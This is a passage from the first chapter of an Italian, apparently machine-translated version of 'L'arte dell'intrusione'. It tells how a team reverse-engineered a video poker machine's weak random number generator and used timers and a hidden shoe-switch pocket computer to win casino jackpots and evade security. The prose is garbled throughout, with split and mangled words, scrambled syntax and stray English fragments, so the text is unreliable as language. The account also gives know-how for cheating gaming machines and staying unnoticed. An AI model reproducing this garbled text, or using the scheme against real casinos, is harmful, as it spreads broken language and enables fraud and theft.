Alex pensato che dovrebbe essere più facile da battere un gioco basato su computer "Perché il computer è completamente deterministico" - il risultato sulla base da ciò che è accaduto prima, o, per parafrasare un vecchio software ingegnere L'espressione di Neer, buoni dati, dati di buono. (L'espressione originale guarda questo dal punto di vista negativo: "garbage in, garbage out".)

Questo sembrava proprio il suo vicolo. Da giovane, Alex era stato un musicalità cian, unendo una band di culto e sognare di essere una rock star, e quando ciò non ha funzionato era scivolato nello studio della matematica. Aveva un talento per la matematica, e anche se non aveva mai curato tanto per scolarizzazione (e aveva lasciato il college), aveva inseguito il soggetto abbastanza per avere

abbastanza solido livello di competenza.

Decidendo che alcune ricerche è stato chiamato per, si recò a Washington, DC, per trascorrere un po 'di tempo nella sala di lettura dell'Ufficio Brevetti. "I gura rato qualcuno avrebbe potuto essere così stupido da mettere tutto il codice nella brevetti "per una macchina di video poker. E abbastanza sicuro, aveva ragione. "A quel tempo, lo scarico di una risma di codice oggetto in brevetto è un modo per un filer brevetti per proteggere la sua invenzione, dal momento che il codice contiene certamente un descrizione molto completa della sua invenzione, ma in una forma che non è torio user-friendly Bly. Ho avuto qualche microfilm con il codice oggetto in esso e poi digitalizzato le pagine di cifre esadecimali per le sezioni interessanti, che dovevano essere smontato in [una forma utilizzabile]. "

Analizzando il codice scoperto alcuni segreti che il team ha scoperto intrigante, ma hanno concluso che l'unico modo per fare una reale il progresso sarebbe quello di mettere le mani su quello specifico tipo di macchina che voluto incidere in modo da poter guardare il codice per se stessi.

Capitolo 1 Hacking Casinò per un milione di dollari

3

Come squadra, i ragazzi erano ben abbinati. Mike era meglio del previsto programmatore competente, più forte rispetto agli altri tre su hardware design. Marco, un altro programmatore affilato, era un europeo dell'Est immigrato che sembrava un adolescente. Ma era qualcosa di un dare-diavolo, si avvicina il tutto con un can-do atteggiamento smart-ass. Alex eccelleva in programmazione ed è stato colui che ha contribuito alla conoscenza bordo della crittografia avrebbero bisogno. Larry non era molto di un pro-grammatica e causa di un incidente in moto non poteva viaggiare molto, ma Era un grande organizzatore che ha mantenuto il progetto in pista e tutti concentrato su quello che doveva essere fatto in ogni fase.

Dopo la ricerca iniziale, Alex "sorta di dimenticato" il progetto.

Marco, però, era calda per l'idea. Lui continuava a insistere: "Non è così grande un accordo, c'è tredici stati in cui è possibile acquistare legalmente le macchine. "

Infine ha parlato gli altri a dare una prova. "Abbiamo capito, quello che il l'inferno. "Ogni scheggiato in denaro sufficiente per bankroll il viaggio e il costo di una macchina. Si diressero ancora una volta per Vegas - questa volta a loro spese e con un altro obiettivo in mente.

Alex dice: "Per acquistare una slot machine, in fondo è semplicemente dovuto andare in e spettacolo

ID da uno stato in cui queste macchine sono legali di possedere. Con di guida licenza da uno stato giuridico, hanno praticamente non ha chiesto un sacco di domande ".

Uno dei ragazzi aveva un comodo collegamento ad un residente del Nevada. "Era come lo zio di fidanzata di qualcuno o qualcosa, e ha vissuto a Las Vegas. "

Hanno scelto Mike come quello di parlare con questo uomo, perché "ha una vendita-y tipo di modo, una sorta di ragazzo molto presentabile. Il presupposto è che sei intenzione di usarlo per il gioco d'azzardo illegale. E 'come armi ", ha spiegato Alex. Molti le macchine diventano *grigi-commercializzati* - venduti canali fuori accettati - a luoghi come club sociali. Tuttavia, ha trovato sorprendente che "potremmo comprare la esatte unità produttive stesse che usano sul pavimento del casino. "

Mike ha pagato l'uomo di 1.500 dollari per una macchina, un marchio giapponese.

"Allora noi due mettere questo dannato in una macchina. Abbiamo guidato a casa come se si avuto un bambino sul sedile posteriore ".

Sviluppare la Hack

Mike, Alex, e Marco trascinarono la macchina al piano di sopra al secondo piano di una casa dove era stato offerto l'uso di una camera da letto di ricambio. Il brivido della esperienza sarebbe lungo ricordato da Alex come una delle più emozionante della sua vita.

Apriamo in su, prendiamo la ROM, noi capire cosa trasformazione sor è. Avevo preso la decisione di ottenere questa macchina giapponese sembrava un knockoff di uno dei grandi marchi. Ho solo pensato che il

L'arte dell'intrusione

4

Gli ingegneri potrebbero hanno lavorato sotto pressione, si avrebbe potuto essere un po 'pigro o un po' sciatta.

Si è scoperto che avevo ragione. Avevano usato un 6809 [di chip], simile a un 6502 che si è visto in un Apple II o un Atari. E 'stato un Chip 8 bit con uno spazio di memoria 64K. Ero un linguaggio assembly programmatore, quindi questo era familiare.

La macchina Alex aveva scelto era uno che era stato in giro per un po ' 10 anni. Ogni volta che un casinò vuole acquistare una macchina di un nuovo design, la Las Vegas Gaming Commissione deve studiare la programmazione e fare certo è progettato in modo che i pagamenti saranno giusto ai giocatori. Ottenere un nuovo progetto approvato può essere un processo lungo, quindi i casinò tendono a mantenere il le macchine più vecchie più di quanto ci si aspetterebbe. Per la squadra, un vecchio la macchina sembrava in grado di avere la tecnologia obsoleta, che speravano potrebbe essere meno sofisticata e più facile da attaccare.

Il codice di computer hanno scaricato dal chip era in binario forma, la stringa di 1 e di 0, che è il livello più elementare di informatica istruzioni. Per tradurlo in una forma che potevano lavorare, hanno avrebbe prima dovuto fare un po ' *reverse engineering* - un processo di un ingegnere o programmatore utilizza per capire come un prodotto già esistente è stato progettato; in questo caso significava conversione dal linguaggio macchina in una forma che la ragazzi potevano capire e lavorare con.

Alex aveva bisogno di un *disassembler* per tradurre il codice. Il quartetto non ha vogliono punta la mano cercando di acquistare il software - un atto che sentito sarebbe equivalente ad andare nella vostra biblioteca locale e cercando di controllare i libri su come costruire una bomba. I ragazzi hanno scritto il proprio display assembler, uno sforzo che Alex descrive come "non un pezzo di torta, ma era divertente e relativamente facile. "

Una volta che il codice macchina video poker era stato eseguito attraverso il nuovo disassembler, i tre programmatori sedette per versare su di esso.

Di solito è facile per un ingegnere software compiuto rapidamente individuare le sezioni di un programma che vuole mettere a fuoco. Questo è perché un codice di scrittura persona mette in origine cartelli stradali tutti attraverso di essa - note, commenti e osservazioni che spiegano la funzione di ogni sezione, qualcosa di simile al modo in cui un libro può avere titoli di parte, i titoli dei capitoli, e sottovoci per le sezioni all'interno di un capitolo.

Quando un programma viene compilato in forma che la macchina può leggere, questi segni stradali sono ignorati - computer o microprocessore non ha hanno bisogno per loro. Quindi il codice che è stato *reverse-engineered* manca qualsiasi queste spiegazioni utili; per mantenere la "segnaletica stradale" metafora, questo

codice recuperato è come una tabella di marcia, senza nomi di luogo, nessun segno di autostrade o strade.

Capitolo 1 Hacking Casinò per un milione di dollari

5

Hanno passato al setaccio le pagine del codice sullo schermo alla ricerca di indizi per le domande fondamentali: "Qual è la logica? Come vengono mescolate le carte? Come sono raccolte carte di sostituzione?" Ma l'obiettivo principale per i ragazzi di questo frangente era localizzare il codice per il generatore di numeri casuali (RNG). Ipotesi di Alex che i programmatori giapponesi che hanno scritto il codice per la macchina potrebbe aver preso scorciatoie che hanno lasciato gli errori nella progettazione il generatore di numeri casuali rivelata corretta; che avevano.

Riscrivere il codice

Alex suona orgoglioso nel descrivere questo sforzo. "Siamo stati i programmatori; noi eravamo bravi a quello che abbiamo fatto. Abbiamo capito come numeri nel codice turno in carte sulla macchina e poi ha scritto un pezzo di codice C che avrebbe fare la stessa cosa ", ha detto, riferendosi al linguaggio di programmazione chiamato "C."

Eravamo motivati e abbiamo fatto un sacco di lavoro tutto il giorno. Avevo dire che probabilmente ci sono voluti circa due o tre settimane per arrivare al punto dove abbiamo davvero avuto una buona conoscenza di esattamente cosa stava succedendo in il codice.

Si guarda, si fanno alcune ipotesi, si scrive qualche nuovo codice, masterizzarlo su ROM [il chip del computer], rimetterlo in la macchina, e vedere cosa succede. Vorremmo fare le cose come write routine che sarebbe pop esagonali [esadecimale] numeri sullo schermo in cima alle carte. Quindi, fondamentalmente ottenere una sorta di una panoramica di progettazione come il codice le carte.

E 'stata una combinazione di tentativi ed errori e di analisi top-down; il codice ha iniziato molto presto ad avere un senso. Così abbiamo capito tutto ciò che riguarda esattamente come i numeri all'interno del computer trasformare in carte sullo schermo.

La nostra speranza è che il generatore di numeri casuali sarebbe rapporto relativamente semplice. E in questo caso nei primi anni '90, è stato. Ho fatto un ratura ricerca tle e scoperto che era basata su qualcosa che Donald Knuth aveva scritto negli anni '60. Questi ragazzi non hanno fatto inventare qualsiasi di queste cose; hanno appena preso ricerca esistenti sul Monte Metodi e cose Carlo, e metterlo nel proprio codice.

Abbiamo capito esattamente che cosa algoritmo che stavano utilizzando per generare mangiato le carte; si chiama un registro a scorrimento lineare di feedback, ed è stato una discreta generatore di numeri casuali.

Ma ben presto scoperto il generatore di numeri casuali aveva un difetto fatale che ha reso il loro compito molto più facile. Mike ha spiegato che "era relativamente L'arte dell'intrusione

6

semplice RNG 32 bit, per cui la complessità computazionale di incrinatura era a portata di mano, e con un paio di buoni ottimizzazioni è diventato quasi banale. "

Così i numeri prodotti non erano veramente casuale. Ma Alex pensa c'è una buona ragione per cui questo deve essere così:

Se è veramente casuale, non si possono impostare le probabilità. Non possono verificare quali sono le probabilità sono davvero. Alcune macchine hanno dato reale sequenziale vampate. Essi non dovrebbero accadere a tutti. Così i progettisti vogliono essere in grado di verificare che essi hanno le statistiche giuste o si sentono come se non hanno il controllo del gioco.

Un'altra cosa che i progettisti non si rese conto quando hanno progettato questo macchina è che in fondo non è solo che hanno bisogno di un caso generatore di numeri. Statisticamente ci sono dieci carte in ogni affare - cinque che mostrano inizialmente, e una scheda alternate per ciascuno di quei cinque che apparirà se il giocatore sceglie di scartare. Si scopre in queste prime versioni della macchina, si tratta fundamentalmente preso quelle dieci carte da dieci numeri casuali sequenziali nel caso generatore di numeri.

Così Alex ed i suoi partner hanno capito che le istruzioni di programmazione su questa macchina prima generazione sono stati mal pensata. E poiché di questi errori, videro che avrebbero potuto scrivere un relativamente semplice, ma elegantemente algoritmo intelligente per sconfiggere la macchina.

Il trucco, Alex ha visto, potrebbe essere quella di avviare un gioco, vedere quali carte si presentò sulla macchina, ei dati feed nel proprio computer torna a casa individuando quelle carte. Il loro algoritmo calcolerebbe dove il ran-generatore dom era, e quanti numeri si doveva passare attraverso prima che sarebbe stato pronto per visualizzare il dopo ricercato mano, la scala reale.

Quindi siamo a nostra macchina di test e corriamo il nostro piccolo programma e ci dice correttamente la prossima sequenza di carte. Noi eravamo abbastanza eccitato.

Alex attribuiti che l'eccitazione a "sapendo che sei più intelligente di qualcuno corpo e li si può battere. E che, nel nostro caso, è stato gonna make noi po 'di soldi. "

Andarono shopping e hanno trovato un orologio da polso Casio con un conto alla rovescia caratteristica che potrebbe essere impostato decimi di secondo; hanno comprato tre, uno per ciascuno dei ragazzi che sarebbe andato al casinò; Larry sarebbe rimanendo dietro all'uomo il computer.

Erano pronti per iniziare a testare il loro metodo. Uno del team sarebbe cominciare a giocare e avrebbe chiamato la mano ha ottenuto - la denominazione e un vestito di ciascuna delle cinque carte. Larry sarebbe inserire i dati in loro

Capitolo 1 Hacking Casinò per un milione di dollari

7

proprio pc; se qualcosa di un off-brand, che era un tipo popolare con nerds e computer di appassionati, e ottimo per lo scopo perché aveva un chip molto più veloce di quella nella macchina video poker giapponese. Esso preso solo momenti per calcolare il tempo esatto per impostare in uno dei Timer conto alla rovescia CASIO.

Quando il timer è andato via, il ragazzo alla slot machine avrebbe colpito il Tasto Play. Ma questo doveva essere fatto esattamente entro una frazione di secondo. Non tanto di un problema di come potrebbe sembrare, come Alex ha spiegato: *Due di noi avevano speso un po 'di tempo come musicisti. Se sei un musicista e si dispone di un ragionevole senso del ritmo, si può premere un pulsante*

entro più o meno cinque millisecondi.

Se tutto ha funzionato nel modo in cui avrebbe dovuto, la macchina sarebbe visualizzare la scala reale ricercato. Ci hanno provato sulla propria macchina, praticare fino a quando tutti loro potrebbe colpire la scala reale su una percentuale decente l'età dei loro tentativi.

Nel corso dei mesi precedenti, che avevano, secondo le parole di Mike, "reverse engineering il funzionamento della macchina, appreso precise modalità casuale numeri sono stati trasformati in carte sullo schermo, proprio quando e come veloce RNG iterato, tutti i pertinenti idiosincrasie della macchina, e ha sviluppato un programma per prendere tutte queste variabili in considerazione in modo che una volta che sappiamo lo stato di una particolare macchina in un istante esatto nel tempo, si potrebbe prevedere con elevata precisione l'iterazione esatta RNG in qualsiasi momento entro le prossime ore o addirittura giorni. "

Avevano sconfitto la macchina - trasformato in loro schiavo. Avevano assunto sfida intellettuale di un hacker e era riuscito. La conoscenza bordo potrebbe farli ricchi.

E 'stato divertente fantasticare su. Potrebbero davvero portare fuori nel jungle di un casinò?

Torna Casinò - This Time to Play

E 'una cosa a smanettare sulla propria macchina in un privato, cassetta di sicurezza posizione. Cercando di stare nel bel mezzo di un casinò vivace e rubare il loro soldi - questa è un'altra storia. Questo richiede nervi d'acciaio.

Le loro signore pensato che il viaggio è stato un'allodola. I ragazzi incoraggiato stretto gonne e flamboyant comportamento - il gioco d'azzardo, chat, ridacchiando, ordinamento bevande - sperando che il personale in cabina di sicurezza ha retto il "Eye in the Telecamere Sky "sarebbero distratti dalle belle facce e uno spettacolo di carne. "So abbiamo spinto che, per quanto possibile, "Alex ricorda.

L'arte dell'intrusione

8

La speranza era che potevano solo adattarsi, la miscelazione con la folla.

"Mike è stato il migliore a questo. E 'stato una sorta di calvizie. Lui e sua moglie solo sembrava giocatori tipici. "

Alex descrive la scena come se fosse successo tutto ieri. Marco e

Mike probabilmente ha fatto un po 'diverso, ma questo è come ha funzionato per Alex:

Con la moglie Annie, avrebbe prima perlustrare un casinò e scegliere un video machine poker. Aveva bisogno di sapere con estrema precisione il ciclo esatto tempo della macchina. Un metodo hanno usato coinvolti ripieno un video macchina fotografica in una borsa a tracolla; al casinò, il giocatore avrebbe posizionare il borsa così l'obiettivo della fotocamera è stato puntato verso lo schermo del video poker la macchina, e poi avrebbe eseguito la fotocamera per un po '. "Potrebbe essere difficile ", ricorda," cercando di issare il sacchetto nel esattamente destra Posizione senza guardare come la posizione davvero importava. Semplicemente non fare voglia di fare qualsiasi cosa che sembra sospetto e richiama l'attenzione ". Mike preferito un'altra, metodo meno esigente: "tempo di ciclo per sconosciuto macchine fuori del campo è stato calcolato carte da leggere sullo schermo in due momenti, molte ore di distanza. "Ha dovuto verificare che la macchina aveva non è stato giocato in mezzo, perché questo altera il tasso di iterazione, ma è stato facile: basta controllare per vedere che le carte mostrate sono le stesse come quando era stato ultimo sulla macchina, che di solito era il caso dal

"High stakes macchine tendono a non essere giocato spesso."

Nel prendere la seconda lettura delle carte visualizzate, avrebbe anche sincronizzato suo timer Casio, e quindi telefonato i dati di sincronizzazione della macchina e sequenze di carte torna a Larry, che vorrebbero entrare nella loro casa-base computer ed eseguire il programma. Sulla base di questi dati, il computer avrebbe prevedere il tempo della prossima scala reale. "Lei sperava che fosse ore; a volte era giorni", nel qual caso avrebbero dovuto ricominciare tutto con un'altra macchina, forse in un altro hotel. In questa fase, i tempi di la Casio potrebbe essere fuori fino a un minuto o giù di lì, ma abbastanza vicino. Tornando abbondanza precoce in caso qualcuno era già al computer di destinazione, Alex e Annie sarebbero tornati al casinò e trascorrere del tempo su altri macchine fino al giocatore a sinistra. Poi Alex si sedeva al bersaglio Macchina, con Annie presso la macchina accanto a lui. Avevano iniziato a giocare, fare un punto di guardare come stavano divertendo. Poi, come Alex ricorda:

Mi piacerebbe iniziare un gioco, accuratamente sincronizzato al mio timer Casio. Quando la mano si avvicinò, mi piacerebbe memorizzo - il valore e seme di ogni delle cinque carte, e poi continuare a giocare fino a quando ho avuto otto carte in sequenza in memoria. Mi piacerebbe cenno a mia moglie che ero sulla mia strada e la testa di un telefono a pagamento poco appariscente appena fuori piano del casinò. Avevo circa otto minuti per arrivare al telefono, fare quello che dovevo fare, e tornare alla macchina. Mia moglie continuava a giocare.

Capitolo 1 Hacking Casinò per un milione di dollari

9

Chiunque è arrivato ad usare la mia macchina, che aveva appena dire loro il marito era seduto lì.

Avevamo trovato un modo di fare una telefonata al segnale acustico di Larry, e immettere i numeri sulla tastiera del telefono per dirgli le carte.

Che era così non abbiamo dovuto dire le carte ad alta voce - il casinò le persone sono sempre in ascolto per cose del genere. Larry avrebbe di nuovo inserire le schede nel computer ed eseguire il nostro programma.

Allora gli avevo telefonato. Larry avrebbe tenere il ricevitore fino al computer, che darebbe due serie di piccoli toni cue. Al primo

uno, mi ha colpito il pulsante Pausa sul timer, per fermarlo il conteggio

giù. Sulla seconda, mi ha colpito di nuovo Pausa per riavviare il timer.

Le carte Alex riportato dato il computer una correzione esatta in cui il generatore di numeri casuali della macchina era. Inserendo il ritardo ordinata dal computer, Alex entrava una correzione cruciale per il Casio

conto alla rovescia per cui sarebbe andare fuori esattamente nel momento in cui il reale flush era pronto ad apparire.

Una volta che il conto alla rovescia è stato riavviato, sono tornato alla macchina. Quando il timer è andato come "beep, beep, boom" - in quel momento, proprio su quel "boom", mi ha colpito di nuovo il pulsante di riproduzione sulla macchina. Quella prima volta, credo vinto \$ 35.000.

Siamo arrivati fino al punto in cui abbiamo avuto circa 30 o 40 per cento aspirazione cess perché era piuttosto ben elaborato. Le uniche volte che non ha fatto lavoro è stato quando non hai il giusto tempismo.

Per Alex, la prima volta che ha vinto era "abbastanza eccitante, ma spaventoso. Il pit boss Era questo accigliato tizio italiano. Ero sicuro che mi guardava divertente, con questo perplessa espressione sul suo volto, forse perché stavo per telefono

tutto il tempo. Penso che possa essere andato a guardare i nastri. "Nonostante il tensioni, c'era "un brivido ad esso." Mike ricorda di essere "naturalmente nervosità organizzative che qualcuno potrebbe aver notato un comportamento strano da parte mia, ma di fatto

nessuno mi ha guardato divertente a tutti. Mia moglie ed io siamo stati trattati come tipico high-stakes vincitori - congratulati e offerto molti comps ".

Erano così successo che avevano bisogno di preoccuparsi di vincere così tanto soldi che avrebbero attirare l'attenzione su se stessi. Hanno cominciato a riconoscere che hanno affrontato il curioso problema del troppo successo. "E 'stato molto di alto profilo. Stavamo vincendo enormi jackpot in decine di migliaia di DOLLARS. Una scala reale paga 4.000 a 1; su una macchina \$ 5, che è di venti dollari. "

Si va da lì. Alcuni dei giochi sono un tipo chiamato progressivo -

il jackpot continua ad aumentare fino a quando qualcuno colpisce, ei ragazzi sono stati in grado di vincere quelli altrettanto facilmente.

L'arte dell'intrusione

10

Ho vinto uno che era di 45 dollari. Un ragazzo techie big-belt è uscito - Probabilmente lo stesso ragazzo che va in giro e ripara le macchine.

Ha una chiave speciale che i ragazzi piano non hanno. Si apre la scatola, tira fuori il [elettronica] bordo, tira fuori il chip ROM proprio lì di fronte a voi. Ha un lettore di ROM con lui

che usa per testare il chip dalla macchina contro alcuni master dorato ter che è tenuto sotto chiave.

Il test ROM era procedura standard per anni, Alex ha imparato. Lui presuppone che erano "stati bruciati in quel modo", ma alla fine catturato al regime e mettere nella ROM controllo come contromisura.

L'affermazione di Alex mi ha lasciato chiedo se i casinò fanno questo controllo perché di alcuni ragazzi che ho incontrato in carcere che ha fatto sostituire il firmware. Io si chiedevano come avrebbero potuto farlo abbastanza rapidamente per evitare di essere catturati.

Alex capito che questo era un approccio di ingegneria sociale, che avevano compromesso la sicurezza e pagato qualcuno all'interno del casinò. Egli CONJECTURES che potrebbero anche hanno sostituito il maestro d'oro che sono dovrebbe confrontare chip della macchina contro.

La bellezza di trucco della sua squadra, Alex ha insistito, era che non avevano per cambiare il firmware. E hanno pensato proprio approccio offerto molto più di una sfida.

La squadra non ha potuto continuare a vincere grandi come fossero; i ragazzi capito "Era chiaro che qualcuno avrebbe messo insieme due più due e dire, 'Ho visto questo ragazzo prima.' Abbiamo iniziato ad avere paura che eravamo andando essere preso. "

Oltre ai sempre presenti preoccupazioni essere scoperti, erano anche preoccupato per la questione fiscale; per ogni vittoria contro 1.200 dollari, il casinò chiede per l'identificazione e le relazioni della vincita per l'IRS. Mike dice che "Se il giocatore non produce ID, abbiamo ipotizzato che le tasse sarebbero state trattenute dalla vincita, ma non abbiamo voluto attirare l'attenzione su noi stessi scoprire. "Pagare le tasse" non era un grosso problema ", ma" si inizia a creangiato un disco che, come, stai vincendo somme folli di denaro. Così un sacco della logistica stavamo, 'Come si fa a rimanere sotto il radar?' "

Avevano bisogno di venire con un approccio diverso. Dopo un breve periodo

di "ET telefono casa", hanno iniziato a concepire una nuova idea.

New Approach

I ragazzi avevano due obiettivi questa volta: sviluppare un metodo che avrebbe lasciato vincere sulle mani come una casa piena, dritto, o un colore, così i versamenti non basterebbe humongous per attirare l'attenzione. E rendere qualcuno come meno evidente e meno fastidioso di dover correre al telefono prima di ogni gioco.

Capitolo 1 Hacking Casinò per un milione di dollari

11

Poiché i casinò offerti solo un numero limitato di giapponese macchine, i ragazzi questa volta si stabilirono su una macchina in uso più ampio, un tipo prodotto da una società americana. Hanno preso a parte allo stesso modo e ha scoperto che il processo di generazione di numeri casuali è stato molto più complessa: la macchina utilizzata due generatori che operano in combinazione, invece di uno solo. "I programmatori erano molto più consapevoli di le possibilità di pirateria, "Alex ha concluso.

Ma ancora una volta i quattro scoperto che i progettisti avevano fatto un errore ciale. "A quanto pare avevano letto un giornale che ha detto a migliorare la qualità della casualità, se si aggiunge un secondo registro, ma hanno fatto sbagliato ". Per determinare una qualsiasi carta, un numero dal primo casuale Numero generatore veniva aggiunto ad un numero dal secondo.

Il modo corretto per progettare questo richiede il secondo generatore *iterare* - cioè, cambiare il suo valore - dopo ogni carta viene distribuita. Il design-ERS non aveva fatto; avevano programmato il secondo registro per iterare solo all'inizio di ogni mano, in modo che lo stesso numero stava essendo aggiunto al risultato dal primo registro per ogni carta della transazione.

Per Alex, l'uso di due registri reso la sfida "un cryptology cosa "; riconobbe che era simile a un passo talvolta usato in crittografare i messaggi. Anche se aveva acquisito una certa conoscenza della soggetto, non è stato abbastanza per vedere il suo modo di una soluzione, così iniziò MAK ing viaggi di una biblioteca universitaria vicina a studiare fino.

Se i progettisti avevano letto alcuni libri sul crittosistemi più attenzione, non avrebbero fatto questo errore. Inoltre, dovrebbero sono stati più metodico sui test dei sistemi per il cracking il modo in cui siamo stati li cracking.

Ogni buon college informatica grande potrebbe probabilmente scrivere codice a fare quello che stavamo cercando di fare una volta capisce che cosa è richiesto. La parte geekiest di esso era capire algoritmi fare la ricerca rapidamente in modo che fosse solo pochi secondi per dire cosa sta succedendo; se l'avete fatto ingenuamente, si potrebbe prendere un paio di ore per dare una soluzione.

Siamo abbastanza buoni programmatori, siamo tutti ancora facciamo la nostra vita farlo, così siamo arrivati a alcune ottimizzazioni molto intelligenti.

Ma non direi che era banale.

Mi ricordo di un errore simile fatta da un programmatore a Norton (prima Symantec loro) che ha lavorato sul loro prodotto Diskreet acquistato, una applicazione che ha permesso ad un utente di creare unità virtuali criptati. Lo sviluppatore implementato l'algoritmo non correttamente - o forse intenzionalmente - in un modo portato riducendo lo spazio per la chiave di crittografia da 56

bit a 30 dati standard di crittografia del governo federale hanno utilizzato un Chiave di 56 bit, che è stato considerato indistruttibile, e Norton ha dato il suo depositaria tomers senso che il loro dati sono stati protetti a questo standard. Perché errore del programmatore, i dati dell'utente è stata in effetti essere criptato con solo 30 bit anziché 56. Anche in quei giorni, è stato possibile *forza bruta* una chiave a 30 bit. Qualsiasi persona che utilizza il prodotto lavorato in un falso senso di sicurezza: Un utente malintenzionato potrebbe derivare la propria chiave in una ragione

periodo ragione- e accesso guadagno per i dati dell'utente. La squadra ha avuto perta Ered lo stesso tipo di errore nella programmazione della macchina.

Allo stesso tempo, i ragazzi stavano lavorando su un programma per computer che sarebbe far loro vincere contro la loro nuova macchina di destinazione, che premevano Alex per un approccio non-più-running-to-the-telefono pubblico. La risposta Si è rivelato essere basato sulla presa una pagina dal *Eudaemonic Pie* soluzione zione: un computer "indossabili". Alex messo a punto un sistema composto da un nane calcolatore turized costruito intorno ad una piccola scheda a microprocessore e Mike Marco ha trovato in un catalogo - e, per andare insieme con esso, un pulsante di controllo che si adattano nella scarpa, oltre a un vibratore silenzioso come i comuni in molti dei telefoni cellulari di oggi. Si riferivano al sistema come loro "computer-in-the-pocket cosa. "

"Dovevamo essere un po 'intelligente di farlo su un piccolo chip con un piccolo memoria ", ha detto Alex. "Abbiamo fatto qualche bel hardware per rendere il tutto in forma in scarpe e essere ergonomico. "(Per" ergonomico "in questo contesto, penso che significava abbastanza piccolo e quindi si può camminare senza zoppicare!)

Il nuovo attacco

La squadra ha iniziato provare il nuovo schema, ed è stato un po 'nerve-wracking. Certo, si potrebbe ora fare a meno del comportamento sospetto di in esecuzione di un telefono pubblico prima di ogni vittoria. Ma anche con tutto il vestito pratica prove indietro al loro "ufficio", serata di apertura ha significato l'esecuzione di fronte ad un pubblico considerevole di persone di sicurezza sempre sospette.

Questa volta il programma è stato progettato in modo da poter sedersi a una macchina più, vincendo una serie di piccoli, gli importi non sospetti. Alex e Mike ritrovare alcuni di tensione quando descrivono come funzionava:

Alex: Io di solito mettere il computer in quello che sembrava un po 'tra-Radio Sistor in tasca. Vorremmo eseguire un filo dal computer giù all'interno della calza in questo interruttore nella scarpa.

Mike: il mio io legato alla mia caviglia. Abbiamo fatto gli interruttori da piccoli pezzi di breadboard [materiale utilizzato in un laboratorio hardware per costruzione di prototipi circuiti elettronici]. I pezzi erano circa un pollice quadrato, con un pulsante miniatura. E abbiamo cucito su un po 'di elastico per andare intorno all'alluce. Poi ci si taglia un

Capitolo 1 Hacking Casinò per un milione di dollari

hole in soletta di un Dr. Scholl per tenerlo in posizione nella scarpa. Era solo scomodo se si sta utilizzando tutto il giorno; allora potrebbe arrivare

straziante.

Alex: Così si va al casinò, si prova a guardare la calma, agire come non c'è niente, niente fili in pantaloni. Si sale, si avvia la riproduzione ing. Avevamo un codice, una specie di codice Morse thingy. Hai messo in soldi per correre su un credito in modo da non dover continuare a monete di alimentazione, e poi iniziare a giocare. Quando le carte venivano, si sceglie la scarpa pulsante per inserire quello che le carte stanno mostrando.

Il segnale dal pulsante pattino va nel computer che è in tasca dei pantaloni. Solitamente nelle prime macchine ci sono voluti sette o otto carte per entrare in sincronia. Si ottiene cinque carte sul affare, potrebbe disegnare tre più sarebbe una cosa molto comune, come hold la coppia, disegnare gli altri tre, che è otto carte.

Mike: Il codice per toccando il pulsante pattino stato binario, e utilizzato anche una compressione tecnica qualcosa di simile a quello che è chiamato un Codice Huffman. Così long-short sarebbe uno zero, un binario due. Sarebbe lungo lungo essere uno-uno, un binario tre, e così via. Nessuna scheda richiesto più di tre rubinetti.

Alex: Se tenuto premuto il pulsante per tre secondi, che è stato un annullare. E [computer] darebbe poco richieste - come dup-dup-dup significherebbe, "Okay, sono pronto per l'ingresso." Abbiamo avuto praticato questo - si doveva concentrarsi e imparare come farlo. Dopo un po' abbiamo potuto toccare, toccare mentre portava avanti una conversazione con un assistente di casinò.

Una volta avevo sfruttato nel codice per identificare circa otto carte, che sarebbe sufficiente per me per la sincronizzazione con certezza circa il 99 per cento. Così dopo da pochi secondi a un minuto o giù di lì, il computer sarebbe ronzare tre volte.

Sarei pronto per l'azione.

A questo punto, il computer-in-the-pocket aveva trovato posto nel algoritmo che rappresentava le carte appena affrontato. Dal suo algoritmo è stato la stessa di quella nella macchina video poker, per ogni nuova mano trattate, il computer sarebbe "sapere" che cosa cinque carte supplementari erano in attesa una volta che il giocatore selezionato i suoi scarti e segnalerebbe quali carte tenere per avere una mano vincente. Alex ha continuato:

Il computer ti dice cosa fare inviando segnali ad un vibrazioni tor in tasca; abbiamo ottenuto i vibratori liberi tirandoli fuori vecchi cercapersone. Se il computer vuole che tiene la terza e la

L'arte dell'intrusione

14

quinta carta, andrà beep, beep, beeeep, beep, beeeep, che si si sentono come le vibrazioni in tasca.

Abbiamo calcolato che se abbiamo giocato con attenzione, abbiamo avuto tra il 20 e il 40 per cento vigorish, il che significa un vantaggio del 40 per cento su ogni mano. Questo è humongous - i migliori giocatori di blackjack del mondo vengono in a circa 2-1 / 2 per cento.

Se sei seduto a una macchina da 5 dollari di pompaggio in cinque monete alla volta, due volte al minuto, si può essere fare \$ 25 al minuto. In mezz'ora ora, si potrebbe facilmente fare \$ 1000 dollari. La gente sedersi e ottenere fortunati come che ogni giorno. Forse il 5 per cento delle persone che siedono

e giocare per mezz'ora potrebbe fare che bene. Ma non lo fanno farlo ogni volta. Stavamo facendo che il 5 per cento ogni volta.

Ogni volta che uno di loro aveva vinto alla grande in un casinò, aveva passare alla un'altra. Ogni ragazzo tipicamente colpito quattro o cinque di fila. Quando tornò allo stesso casinò in un altro viaggio un mese dopo, farebbero un punto di andare in un momento diverso della giornata, per colpire un diverso spostamento della squadra di lavoro, persone meno probabilità di riconoscerli. Hanno anche cominciato colpire I casinò in altre città - Reno, Atlantic City, e altrove.

I viaggi, il gioco, la vincente gradualmente divennero routine. Ma su un occasione, Mike pensava che il momento in cui tutti temevano era venuto. Aveva solo "salito una tacca" e stava giocando \$ 25 macchine per la prima tempo, che aggiunto alla tensione perché maggiore è il valore della macchine, più si sta a guardare.

Ero un po' ansioso, ma le cose andavano meglio di me anticipare i pato. Ho vinto circa 5.000 dollari in un tempo relativamente breve lasso di tempo. Poi questo grande, imponendo dipendente mi batte sulla spalla. Io guardò verso di lui la sensazione di qualcosa di nausea alla bocca della mia contrazione dello stomaco

ach. Ho pensato: "Questo è."

«Ho notato che giocato un po'», ha detto. "Ti piacerebbe rosa o verde?"

Se mi fosse stato, avrei sono chiesto, "Cosa sono quelle - le mie scelte di colore sarò dopo che finire battendo in poltiglia? »I che avrei potuto lasciato tutti i miei soldi e ho cercato di precipitare fuori luogo. Mike dice di essere stato abbastanza condito da quel punto di mantenere la calma. *L'uomo disse, "Vogliamo darvi una tazza di caffè in omaggio."*

Mike ha scelto il verde.

Capitolo 1 Hacking Casinò per un milione di dollari

15

